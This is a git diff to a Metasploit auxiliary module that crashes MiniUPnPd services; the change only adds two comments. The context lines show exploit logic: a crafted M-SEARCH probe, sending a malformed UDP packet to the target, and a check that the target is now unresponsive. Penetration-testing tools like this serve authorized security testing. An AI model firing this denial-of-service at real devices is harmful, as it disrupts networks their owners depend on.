diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
index 86b30e02bd..9cef84c85f 100644
--- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
+++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
@@ -53,6 +53,7 @@ class Metasploit3 < Msf::Auxiliary
 	end
 
 	def run
+    # the M-SEARCH probe packet that tries to identify whether the service is up or not
 		msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
 		msearch_probe << "Host:239.255.255.250:1900\r\n"
 		msearch_probe << "ST:upnp:rootdevice\r\n"
@@ -89,6 +90,7 @@ class Metasploit3 < Msf::Auxiliary
 			print_status("#{rhost}:#{rport} - Sending malformed packet...")
 			udp_sock.put(sploit)
 
+      # send the probe to the target
 			print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
 			response = send_probe(udp_sock, msearch_probe)
 			if response.nil?